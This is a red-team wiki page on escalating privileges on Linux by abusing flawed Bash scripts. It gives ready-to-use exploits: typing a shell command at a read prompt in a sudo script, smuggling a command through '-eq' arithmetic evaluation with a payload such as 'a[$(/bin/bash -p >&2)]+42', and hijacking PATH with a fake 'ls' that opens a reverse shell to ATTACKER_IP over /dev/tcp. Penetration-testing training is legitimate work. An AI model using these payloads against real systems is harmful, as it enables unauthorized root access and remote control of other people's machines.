> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/bash.md).

# Bash

## Theory

Bash scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, bash scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.

## Practice

### Shell In Prompt

{% tabs %}
{% tab title="Enumerate" %}
If a bash script executes `read -p`. We can input `/bin/bash -i` to get a shell as another user.

```bash
$ cat /usr/bin/vuln-script.sh

#!/bin/bash
read -p "What's you name: "
```

{% endtab %}

{% tab title="Exploit" %}
We can input `/bin/bash -i` to get a shell.

```bash
$ sudo /usr/bin/sudo-script.sh

What's you name: /bin/bash -i
```

{% endtab %}
{% endtabs %}

### Bash eq

{% tabs %}
{% tab title="Enumerate" %}
If a bash script use the `-eq` comaparison, it's vulnerable to arbitrary command execution.

```bash
$ cat /usr/bin/vuln-script.sh

#!/bin/bash
read -rp "Enter guess: " num

if [[ $num -eq 42 ]]
then
  echo "Correct"
else
  echo "Wrong"
fi
```

{% endtab %}

{% tab title="Exploit" %}
To execute arbitrary command, answer this question as below. We have to Inject arbitrary command before the correct number (42).

```bash
sudo /bin/bash /opt/example.sh
Enter guess: a[$(/bin/bash -p >&2)]+42

#Or execute your own malicious script
sudo /bin/bash /opt/example.sh
Enter guess: a[$(/tmp/shell.elf)]+42
```

{% hint style="info" %}
`a[$(/tmp/shell.elf)]` will allow us, by evaluating the content of the array, to execute our script
{% endhint %}
{% endtab %}
{% endtabs %}

### No Command Path Exploit

{% tabs %}
{% tab title="Enumerate" %}
If a bash script executes another command **without specifying the path.** We can abuse it and get a privilege escalation.

```bash
$ cat /usr/bin/vuln-suid-script.sh

#!/bin/bash
ls /root/var/file
```

{% endtab %}

{% tab title="Exploit" %}
We can generate a malicious file in the `/tmp` folder named as the command called without full path

```bash
#Generate a payload
echo "bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" > /tmp/ls
chmod +x /tmp/ls

#Change Path env variable
export PATH=/tmp:$PATH

#Execute the suid script
/usr/bin/vuln-suid-script.sh
```

{% endtab %}
{% endtabs %}


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